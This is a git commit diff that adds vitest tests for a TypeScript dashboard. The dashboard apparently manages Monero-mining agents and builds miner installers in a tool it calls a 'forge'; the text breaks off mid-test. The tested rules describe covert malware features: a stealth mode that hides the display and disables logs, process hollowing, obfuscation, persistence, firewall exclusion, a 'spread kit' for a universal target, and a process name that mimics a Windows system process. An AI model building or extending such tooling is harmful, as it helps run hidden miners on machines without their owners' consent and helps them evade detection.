feat: Tenable-style patch_status - pending_updates, last_patch, reboot_pending across full stack
This commit is contained in:
40
server/web/src/help/endpointHelpers.test.ts
Normal file
40
server/web/src/help/endpointHelpers.test.ts
Normal file
@@ -0,0 +1,40 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { formatLanEndpoint, lanEndpointCandidates } from './endpointHelpers';
|
||||
import type { ServerInfo } from '../types';
|
||||
|
||||
describe('formatLanEndpoint', () => {
|
||||
it('strips scheme and path from host', () => {
|
||||
expect(formatLanEndpoint('https://192.168.1.5:8989/extra', 8989)).toBe('http://192.168.1.5:8989');
|
||||
});
|
||||
|
||||
it('builds http URL from bare IP', () => {
|
||||
expect(formatLanEndpoint('10.0.0.2', 7777)).toBe('http://10.0.0.2:7777');
|
||||
});
|
||||
});
|
||||
|
||||
describe('lanEndpointCandidates', () => {
|
||||
it('dedupes suggested URL and local IPs', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
host: 'localhost',
|
||||
local_ips: ['192.168.1.10', '192.168.1.10'],
|
||||
suggested_url: 'http://192.168.1.10:8989',
|
||||
dashboard_url: 'http://192.168.1.10:8989',
|
||||
websocket_url: 'ws://192.168.1.10:8989/ws/agent',
|
||||
};
|
||||
const urls = lanEndpointCandidates(info);
|
||||
expect(urls).toEqual(['http://192.168.1.10:8989']);
|
||||
});
|
||||
|
||||
it('honours port override', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
host: 'localhost',
|
||||
local_ips: ['10.0.0.1'],
|
||||
suggested_url: '',
|
||||
dashboard_url: '',
|
||||
websocket_url: '',
|
||||
};
|
||||
expect(lanEndpointCandidates(info, 9000)).toEqual(['http://10.0.0.1:9000']);
|
||||
});
|
||||
});
|
||||
133
server/web/src/help/fleetAnalytics.test.ts
Normal file
133
server/web/src/help/fleetAnalytics.test.ts
Normal file
@@ -0,0 +1,133 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
computeFleetHealth,
|
||||
contributionBars,
|
||||
findUnderperformers,
|
||||
fleetMedianHashrate,
|
||||
groupBySubnet,
|
||||
osArchBreakdown,
|
||||
staleAgentIds,
|
||||
timeToPayout,
|
||||
} from './fleetAnalytics';
|
||||
import type { Agent, PoolStatus } from '../types';
|
||||
|
||||
const agent = (overrides: Partial<Agent> = {}): Agent => ({
|
||||
id: 'a1',
|
||||
name: 'node-1',
|
||||
status: 'online',
|
||||
hashrate_15m: 1000,
|
||||
shares_total: 100,
|
||||
shares_good: 98,
|
||||
ip: '192.168.1.10',
|
||||
platform: 'windows',
|
||||
arch: 'amd64',
|
||||
last_seen: new Date().toISOString(),
|
||||
...overrides,
|
||||
} as Agent);
|
||||
|
||||
describe('computeFleetHealth', () => {
|
||||
it('returns NOMINAL for healthy fleet', () => {
|
||||
const agents = [agent(), agent({ id: 'a2', name: 'node-2', hashrate_15m: 900 })];
|
||||
const pools: PoolStatus[] = [{ name: 'primary', status: 'green' }];
|
||||
const health = computeFleetHealth(agents, pools);
|
||||
expect(health.label).toBe('NOMINAL');
|
||||
expect(health.score).toBeGreaterThanOrEqual(80);
|
||||
expect(health.issues).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('flags offline nodes and pool degradation', () => {
|
||||
const agents = [agent(), agent({ id: 'a2', status: 'offline', hashrate_15m: 0 })];
|
||||
const pools: PoolStatus[] = [{ name: 'primary', status: 'red' }];
|
||||
const health = computeFleetHealth(agents, pools);
|
||||
expect(health.label).not.toBe('NOMINAL');
|
||||
expect(health.issues.some((i) => i.includes('offline'))).toBe(true);
|
||||
expect(health.issues.some((i) => i.includes('pool'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('contributionBars', () => {
|
||||
it('sorts online agents by hashrate share', () => {
|
||||
const bars = contributionBars([
|
||||
agent({ id: 'a1', hashrate_15m: 300 }),
|
||||
agent({ id: 'a2', hashrate_15m: 700 }),
|
||||
agent({ id: 'a3', status: 'offline', hashrate_15m: 9999 }),
|
||||
]);
|
||||
expect(bars).toHaveLength(2);
|
||||
expect(bars[0].id).toBe('a2');
|
||||
expect(bars[0].pct).toBeCloseTo(70, 1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('findUnderperformers', () => {
|
||||
it('returns agents below 70% of median', () => {
|
||||
const agents = [
|
||||
agent({ id: 'fast', hashrate_15m: 1000 }),
|
||||
agent({ id: 'slow', hashrate_15m: 500 }),
|
||||
agent({ id: 'mid', hashrate_15m: 900 }),
|
||||
];
|
||||
const under = findUnderperformers(agents);
|
||||
expect(under.map((a) => a.id)).toEqual(['slow']);
|
||||
});
|
||||
|
||||
it('returns empty when fewer than 2 online miners', () => {
|
||||
expect(findUnderperformers([agent()])).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('fleetMedianHashrate', () => {
|
||||
it('computes median of online non-zero agents', () => {
|
||||
const med = fleetMedianHashrate([
|
||||
agent({ hashrate_15m: 100 }),
|
||||
agent({ id: 'a2', hashrate_15m: 300 }),
|
||||
agent({ id: 'a3', hashrate_15m: 200 }),
|
||||
]);
|
||||
expect(med).toBe(200);
|
||||
});
|
||||
});
|
||||
|
||||
describe('groupBySubnet', () => {
|
||||
it('groups by /24 prefix', () => {
|
||||
const groups = groupBySubnet([
|
||||
agent({ ip: '10.0.0.1' }),
|
||||
agent({ id: 'a2', ip: '10.0.0.2' }),
|
||||
agent({ id: 'a3', ip: '192.168.5.9' }),
|
||||
]);
|
||||
expect(groups).toHaveLength(2);
|
||||
expect(groups[0].subnet).toBe('10.0.0.x');
|
||||
expect(groups[0].agents).toHaveLength(2);
|
||||
});
|
||||
});
|
||||
|
||||
describe('osArchBreakdown', () => {
|
||||
it('labels platforms for display', () => {
|
||||
const rows = osArchBreakdown([
|
||||
agent({ platform: 'linux', arch: 'amd64' }),
|
||||
agent({ id: 'a2', platform: 'darwin', arch: 'arm64' }),
|
||||
]);
|
||||
expect(rows.some((r) => r.label.includes('Linux'))).toBe(true);
|
||||
expect(rows.some((r) => r.label.includes('macOS'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('staleAgentIds', () => {
|
||||
it('flags online agents not seen in 5+ minutes', () => {
|
||||
const staleTime = new Date(Date.now() - 6 * 60 * 1000).toISOString();
|
||||
const ids = staleAgentIds([
|
||||
agent({ id: 'fresh', last_seen: new Date().toISOString() }),
|
||||
agent({ id: 'stale', last_seen: staleTime }),
|
||||
]);
|
||||
expect(ids.has('stale')).toBe(true);
|
||||
expect(ids.has('fresh')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('timeToPayout', () => {
|
||||
it('returns days until payout', () => {
|
||||
expect(timeToPayout(0.5, 0.25)).toBe(2);
|
||||
});
|
||||
|
||||
it('returns null when data missing', () => {
|
||||
expect(timeToPayout(undefined, 1)).toBeNull();
|
||||
expect(timeToPayout(1, 0)).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -86,9 +86,9 @@ export function computeFleetHealth(agents: Agent[], pools: PoolStatus[]): FleetH
|
||||
// ─── Contribution Map ─────────────────────────────────────────────────────────
|
||||
|
||||
export function contributionBars(agents: Agent[]): ContributionBar[] {
|
||||
const total = agents.reduce((s, a) => s + a.hashrate_15m, 0);
|
||||
return agents
|
||||
.filter((a) => a.status === 'online')
|
||||
const online = agents.filter((a) => a.status === 'online');
|
||||
const total = online.reduce((s, a) => s + a.hashrate_15m, 0);
|
||||
return online
|
||||
.map((a) => ({
|
||||
id: a.id,
|
||||
name: a.name,
|
||||
|
||||
273
server/web/src/help/forgeCompatibility.test.ts
Normal file
273
server/web/src/help/forgeCompatibility.test.ts
Normal file
@@ -0,0 +1,273 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { runForgeCompatibilityChecks } from './forgeCompatibility';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
/** Valid mainnet-style Monero address (95 chars, starts with 4). */
|
||||
const VALID_WALLET = '4' + 'A'.repeat(94);
|
||||
|
||||
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
|
||||
return {
|
||||
worker_name: 'pc-lab-1',
|
||||
server_url: 'http://192.168.1.10:8989',
|
||||
wallet: VALID_WALLET,
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: true,
|
||||
pool_pass: 'x',
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
...overrides,
|
||||
} as BuildRequest;
|
||||
}
|
||||
|
||||
function hasCheck(form: BuildRequest, fusionPrep: boolean, id: string, level?: string) {
|
||||
const checks = runForgeCompatibilityChecks(form, fusionPrep);
|
||||
const match = checks.find((c) => c.id === id);
|
||||
if (!match) return false;
|
||||
return level === undefined || match.level === level;
|
||||
}
|
||||
|
||||
describe('runForgeCompatibilityChecks', () => {
|
||||
it('returns no errors for a fully valid form', () => {
|
||||
const checks = runForgeCompatibilityChecks(baseForm(), false);
|
||||
const errors = checks.filter((c) => c.level === 'error');
|
||||
expect(errors).toHaveLength(0);
|
||||
expect(checks.some((c) => c.id === 'forge_ready' && c.level === 'ok')).toBe(true);
|
||||
});
|
||||
|
||||
describe('stealth and display', () => {
|
||||
it('errors when stealth mode uses visible display', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ stealth_mode: true, display_mode: 'visible' }), false, 'stealth_display', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when stealth mode enables file logging', () => {
|
||||
expect(hasCheck(baseForm({ stealth_mode: true, file_logging: true }), false, 'stealth_logs', 'error')).toBe(
|
||||
true
|
||||
);
|
||||
});
|
||||
|
||||
it('errors when fusion uses visible display', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ fusion_enabled: true, display_mode: 'visible' }), false, 'fusion_display', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('idle mining mode', () => {
|
||||
it('errors when idle threshold is out of range', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 0 }), false, 'idle_threshold', 'error')
|
||||
).toBe(true);
|
||||
expect(
|
||||
hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 101 }), false, 'idle_threshold', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when idle duration is below 1 minute', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ mining_mode: 'idle', idle_duration_minutes: 0 }), false, 'idle_duration', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('does not check idle fields when mining mode is not idle', () => {
|
||||
expect(hasCheck(baseForm({ mining_mode: 'always', idle_threshold_pct: 0 }), false, 'idle_threshold')).toBe(
|
||||
false
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('scheduled mining mode', () => {
|
||||
it('errors when schedule times are missing', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ mining_mode: 'scheduled', schedule_start: '', schedule_end: '' }),
|
||||
false,
|
||||
'schedule',
|
||||
'error'
|
||||
)
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('passes when both schedule times are set', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ mining_mode: 'scheduled', schedule_start: '22:00', schedule_end: '06:00' }),
|
||||
false,
|
||||
'schedule'
|
||||
)
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('threads and CPU limits', () => {
|
||||
it('warns when adapt_to_hardware is on with fixed thread mode', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }), false, 'adapt_fixed', 'warn')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when thread percent is out of range', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 0 }), false, 'thread_percent_range', 'error')
|
||||
).toBe(true);
|
||||
expect(
|
||||
hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 101 }), false, 'thread_percent_range', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when max CPU usage is out of range', () => {
|
||||
expect(hasCheck(baseForm({ max_cpu_usage_pct: 0 }), false, 'max_cpu', 'error')).toBe(true);
|
||||
expect(hasCheck(baseForm({ max_cpu_usage_pct: 101 }), false, 'max_cpu', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when max memory is out of range', () => {
|
||||
expect(hasCheck(baseForm({ max_memory_percent: 9 }), false, 'max_mem', 'error')).toBe(true);
|
||||
expect(hasCheck(baseForm({ max_memory_percent: 96 }), false, 'max_mem', 'error')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('pool configuration', () => {
|
||||
it('errors when pool port is out of range', () => {
|
||||
expect(hasCheck(baseForm({ pool_port: 0 }), false, 'pool_port', 'error')).toBe(true);
|
||||
expect(hasCheck(baseForm({ pool_port: 70000 }), false, 'pool_port', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on port 443 without TLS', () => {
|
||||
expect(hasCheck(baseForm({ pool_port: 443, pool_tls: false }), false, 'pool_tls_443', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on TLS with port 3333', () => {
|
||||
expect(hasCheck(baseForm({ pool_port: 3333, pool_tls: true }), false, 'pool_tls_3333', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when pool password is empty', () => {
|
||||
expect(hasCheck(baseForm({ pool_pass: ' ' }), false, 'pool_pass', 'warn')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('run mode and AI', () => {
|
||||
it('warns when run_as is service', () => {
|
||||
expect(hasCheck(baseForm({ run_as: 'service' }), false, 'run_as_service', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when AI uses 127.0.0.1 endpoint', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ ai_enabled: true, ai_ollama_endpoint: 'http://127.0.0.1:11434' }),
|
||||
false,
|
||||
'ai_localhost',
|
||||
'warn'
|
||||
)
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when AI is enabled without self-healing', () => {
|
||||
expect(hasCheck(baseForm({ ai_enabled: true, self_healing: false }), false, 'ai_no_heal', 'warn')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('identity fields', () => {
|
||||
it('errors when process name is empty', () => {
|
||||
expect(hasCheck(baseForm({ process_name: ' ' }), false, 'process_name_empty', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when process name has unusual characters', () => {
|
||||
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when worker name is empty', () => {
|
||||
expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when server URL uses localhost', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when server URL uses 127.0.0.1', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when wallet does not match Monero format', () => {
|
||||
expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('accepts minimum-length wallet (90 chars)', () => {
|
||||
const wallet = '4' + 'A'.repeat(89);
|
||||
expect(wallet.length).toBe(90);
|
||||
expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts subaddress starting with 8', () => {
|
||||
const subaddress = '8' + 'B'.repeat(94);
|
||||
expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
|
||||
});
|
||||
|
||||
it('emits forge_ready when core config is coherent', () => {
|
||||
const checks = runForgeCompatibilityChecks(baseForm(), false);
|
||||
const ready = checks.find((c) => c.id === 'forge_ready');
|
||||
expect(ready?.level).toBe('ok');
|
||||
expect(ready?.message).toContain('Core miner config looks coherent');
|
||||
});
|
||||
});
|
||||
|
||||
describe('fusion and deliverables', () => {
|
||||
it('emits fusion_ready when prep is attached', () => {
|
||||
expect(hasCheck(baseForm({ fusion_enabled: true }), true, 'fusion_ready', 'ok')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when spread kit targets non-universal OS', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ spread_kit: true, target_os: 'windows' }), false, 'spread_kit_os', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when spread kit and fusion are both enabled', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ spread_kit: true, fusion_enabled: true }), false, 'spread_fusion', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when universal has no spread kit or fusion', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ target_os: 'universal', spread_kit: false, fusion_enabled: false }),
|
||||
false,
|
||||
'universal_deliverable',
|
||||
'warn'
|
||||
)
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('platform-specific constraints', () => {
|
||||
it('errors when process hollowing is set on Linux', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ target_os: 'linux', process_hollowing: true }), false, 'hollow_unix', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when process hollowing is set on macOS', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ target_os: 'darwin', process_hollowing: true }), false, 'hollow_unix', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when sign_build is set on Linux', () => {
|
||||
expect(hasCheck(baseForm({ target_os: 'linux', sign_build: true }), false, 'sign_unix', 'error')).toBe(
|
||||
true
|
||||
);
|
||||
});
|
||||
|
||||
it('errors when sign_build is set on macOS', () => {
|
||||
expect(hasCheck(baseForm({ target_os: 'darwin', sign_build: true }), false, 'sign_unix', 'error')).toBe(
|
||||
true
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -190,7 +190,7 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
checks.push({
|
||||
id: 'wallet_invalid',
|
||||
level: 'warn',
|
||||
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 95-106). Double check it.',
|
||||
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
427
server/web/src/help/forgeRules.test.ts
Normal file
427
server/web/src/help/forgeRules.test.ts
Normal file
@@ -0,0 +1,427 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
FORGE_SECTIONS,
|
||||
applyForgeFieldUpdate,
|
||||
forgeBadgeLabel,
|
||||
getForgeFieldMeta,
|
||||
getForgeLiveNotices,
|
||||
type ForgeFieldBadge,
|
||||
} from './forgeRules';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
|
||||
return {
|
||||
worker_name: 'pc-lab-1',
|
||||
server_url: 'http://192.168.1.10:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: false,
|
||||
pool_pass: 'x',
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
...overrides,
|
||||
} as BuildRequest;
|
||||
}
|
||||
|
||||
describe('FORGE_SECTIONS', () => {
|
||||
it('defines six sections in order', () => {
|
||||
expect(FORGE_SECTIONS).toHaveLength(6);
|
||||
expect(FORGE_SECTIONS.map((s) => s.id)).toEqual([
|
||||
'identity',
|
||||
'pool',
|
||||
'performance',
|
||||
'install',
|
||||
'fusion',
|
||||
'ai',
|
||||
]);
|
||||
});
|
||||
|
||||
it('each section has id, title, description, and baked badge', () => {
|
||||
for (const section of FORGE_SECTIONS) {
|
||||
expect(section.id.length).toBeGreaterThan(0);
|
||||
expect(section.title.length).toBeGreaterThan(0);
|
||||
expect(section.description.length).toBeGreaterThan(0);
|
||||
expect(section.badge).toBe('baked');
|
||||
}
|
||||
});
|
||||
|
||||
it('uses expected section titles', () => {
|
||||
const titles = Object.fromEntries(FORGE_SECTIONS.map((s) => [s.id, s.title]));
|
||||
expect(titles.identity).toBe('Identity');
|
||||
expect(titles.pool).toBe('Pool Configuration');
|
||||
expect(titles.performance).toBe('Performance & Resources');
|
||||
expect(titles.install).toBe('Install & Process');
|
||||
expect(titles.fusion).toBe('Fusion');
|
||||
expect(titles.ai).toBe('AI Autonomy');
|
||||
});
|
||||
});
|
||||
|
||||
describe('forgeBadgeLabel', () => {
|
||||
const cases: [ForgeFieldBadge, string][] = [
|
||||
['baked', 'Baked into installer'],
|
||||
['server-only', 'Server folder only — not in .exe'],
|
||||
['requires', 'Required when parent option is on'],
|
||||
];
|
||||
|
||||
it.each(cases)('maps %s badge to label', (badge, label) => {
|
||||
expect(forgeBadgeLabel(badge)).toBe(label);
|
||||
});
|
||||
});
|
||||
|
||||
describe('applyForgeFieldUpdate', () => {
|
||||
it('stealth_mode disables logging and forces silent/background', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ display_mode: 'visible', file_logging: true, silent_mode: false }),
|
||||
'stealth_mode',
|
||||
true
|
||||
);
|
||||
expect(out.stealth_mode).toBe(true);
|
||||
expect(out.file_logging).toBe(false);
|
||||
expect(out.display_mode).toBe('background');
|
||||
expect(out.silent_mode).toBe(true);
|
||||
});
|
||||
|
||||
it('display_mode visible clears stealth and silent', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ stealth_mode: true, silent_mode: true }),
|
||||
'display_mode',
|
||||
'visible'
|
||||
);
|
||||
expect(out.display_mode).toBe('visible');
|
||||
expect(out.stealth_mode).toBe(false);
|
||||
expect(out.silent_mode).toBe(false);
|
||||
});
|
||||
|
||||
it('display_mode silent/background enables silent_mode', () => {
|
||||
expect(applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'silent').silent_mode).toBe(
|
||||
true
|
||||
);
|
||||
expect(
|
||||
applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'background').silent_mode
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('persistence and auto_start stay linked', () => {
|
||||
expect(applyForgeFieldUpdate(baseForm({ auto_start: false }), 'persistence', true).auto_start).toBe(true);
|
||||
expect(applyForgeFieldUpdate(baseForm({ persistence: false }), 'auto_start', true).persistence).toBe(true);
|
||||
});
|
||||
|
||||
it('linux target clears Windows-only flags and fixes install base', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({
|
||||
target_os: 'windows',
|
||||
process_hollowing: true,
|
||||
sign_build: true,
|
||||
obfuscate: true,
|
||||
install_base: 'localappdata',
|
||||
}),
|
||||
'target_os',
|
||||
'linux'
|
||||
);
|
||||
expect(out.target_os).toBe('linux');
|
||||
expect(out.target_arch).toBe('amd64');
|
||||
expect(out.process_hollowing).toBe(false);
|
||||
expect(out.sign_build).toBe(false);
|
||||
expect(out.obfuscate).toBe(false);
|
||||
expect(out.spread_kit).toBe(false);
|
||||
expect(out.install_base).toBe('xdg_data_home');
|
||||
});
|
||||
|
||||
it('darwin target defaults to arm64', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'darwin');
|
||||
expect(out.target_os).toBe('darwin');
|
||||
expect(out.target_arch).toBe('arm64');
|
||||
});
|
||||
|
||||
it('windows target restores localappdata from xdg path', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ install_base: 'xdg_data_home' }), 'target_os', 'windows');
|
||||
expect(out.target_os).toBe('windows');
|
||||
expect(out.target_arch).toBe('all');
|
||||
expect(out.install_base).toBe('localappdata');
|
||||
});
|
||||
|
||||
it('universal target on single deliverable normalizes back to windows', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'universal');
|
||||
expect(out.target_os).toBe('windows');
|
||||
expect(out.target_arch).toBe('all');
|
||||
});
|
||||
|
||||
it('universal target stays when spread kit is active', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ spread_kit: true }), 'target_os', 'universal');
|
||||
expect(out.target_os).toBe('universal');
|
||||
expect(out.target_arch).toBe('all');
|
||||
});
|
||||
|
||||
it('fusion_enabled forces background, clears spread kit, and universal target', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ spread_kit: true, display_mode: 'visible', target_os: 'windows' }),
|
||||
'fusion_enabled',
|
||||
true
|
||||
);
|
||||
expect(out.fusion_enabled).toBe(true);
|
||||
expect(out.display_mode).toBe('background');
|
||||
expect(out.silent_mode).toBe(true);
|
||||
expect(out.spread_kit).toBe(false);
|
||||
expect(out.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('spread_kit applies full preset and clears fusion', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true);
|
||||
expect(out.spread_kit).toBe(true);
|
||||
expect(out.fusion_enabled).toBe(false);
|
||||
expect(out.target_os).toBe('universal');
|
||||
expect(out.target_arch).toBe('all');
|
||||
expect(out.run_as).toBe('scheduled');
|
||||
expect(out.persistence).toBe(true);
|
||||
expect(out.auto_start).toBe(true);
|
||||
expect(out.self_healing).toBe(true);
|
||||
expect(out.stealth_mode).toBe(true);
|
||||
expect(out.silent_mode).toBe(true);
|
||||
expect(out.file_logging).toBe(false);
|
||||
expect(out.firewall_exclusion).toBe(true);
|
||||
expect(out.display_mode).toBe('background');
|
||||
expect(out.process_hollowing).toBe(false);
|
||||
});
|
||||
|
||||
it('thread_mode fixed sets minimum threads', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ threads: 0 }), 'thread_mode', 'fixed');
|
||||
expect(out.thread_mode).toBe('fixed');
|
||||
expect(out.threads).toBeGreaterThanOrEqual(1);
|
||||
});
|
||||
|
||||
it('thread_mode percent clamps invalid thread_percent', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ thread_percent: 0 }), 'thread_mode', 'percent');
|
||||
expect(out.thread_percent).toBe(75);
|
||||
});
|
||||
|
||||
it('install_base non-custom clears custom path', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ install_custom_base: 'C:\\custom', install_base: 'custom' }),
|
||||
'install_base',
|
||||
'localappdata'
|
||||
);
|
||||
expect(out.install_base).toBe('localappdata');
|
||||
expect(out.install_custom_base).toBe('');
|
||||
});
|
||||
|
||||
it('run_as scheduled/service forces persistence flags', () => {
|
||||
const scheduled = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'scheduled');
|
||||
expect(scheduled.persistence).toBe(true);
|
||||
expect(scheduled.auto_start).toBe(true);
|
||||
|
||||
const service = applyForgeFieldUpdate(baseForm({ persistence: false }), 'run_as', 'service');
|
||||
expect(service.persistence).toBe(true);
|
||||
expect(service.auto_start).toBe(true);
|
||||
});
|
||||
|
||||
it('ai_enabled fills default endpoint and model when empty', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ ai_ollama_endpoint: '', ai_model: '' }),
|
||||
'ai_enabled',
|
||||
true
|
||||
);
|
||||
expect(out.ai_enabled).toBe(true);
|
||||
expect(out.ai_ollama_endpoint).toBe('http://localhost:11434');
|
||||
expect(out.ai_model).toBe('llama3.2');
|
||||
});
|
||||
|
||||
it('pool_port 443 auto-enables TLS', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ pool_tls: false }), 'pool_port', 443);
|
||||
expect(out.pool_port).toBe(443);
|
||||
expect(out.pool_tls).toBe(true);
|
||||
});
|
||||
|
||||
it('worker_name update does not auto-derive process_name', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ process_name: 'RuntimeBrokerHelper' }), 'worker_name', 'new-worker');
|
||||
expect(out.worker_name).toBe('new-worker');
|
||||
expect(out.process_name).toBe('RuntimeBrokerHelper');
|
||||
});
|
||||
});
|
||||
|
||||
describe('getForgeFieldMeta', () => {
|
||||
it('returns meta for all known forge fields', () => {
|
||||
const meta = getForgeFieldMeta(baseForm());
|
||||
const expectedKeys = [
|
||||
'worker_name',
|
||||
'server_url',
|
||||
'wallet',
|
||||
'output_dir',
|
||||
'pool_host',
|
||||
'pool_port',
|
||||
'thread_mode',
|
||||
'thread_percent',
|
||||
'threads',
|
||||
'fusion_enabled',
|
||||
'spread_kit',
|
||||
'target_os',
|
||||
'target_arch',
|
||||
'obfuscate',
|
||||
'sign_build',
|
||||
];
|
||||
for (const key of expectedKeys) {
|
||||
expect(meta[key]).toBeDefined();
|
||||
}
|
||||
});
|
||||
|
||||
it('disables thread_percent when thread mode is fixed', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ thread_mode: 'fixed' }));
|
||||
expect(meta.thread_percent.disabled).toBe(true);
|
||||
expect(meta.threads.disabled).toBe(false);
|
||||
expect(meta.adapt_to_hardware.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('disables threads when thread mode is percent', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ thread_mode: 'percent' }));
|
||||
expect(meta.threads.disabled).toBe(true);
|
||||
expect(meta.thread_percent.disabled).toBe(false);
|
||||
});
|
||||
|
||||
it('disables idle fields unless mining mode is idle', () => {
|
||||
const idle = getForgeFieldMeta(baseForm({ mining_mode: 'idle' }));
|
||||
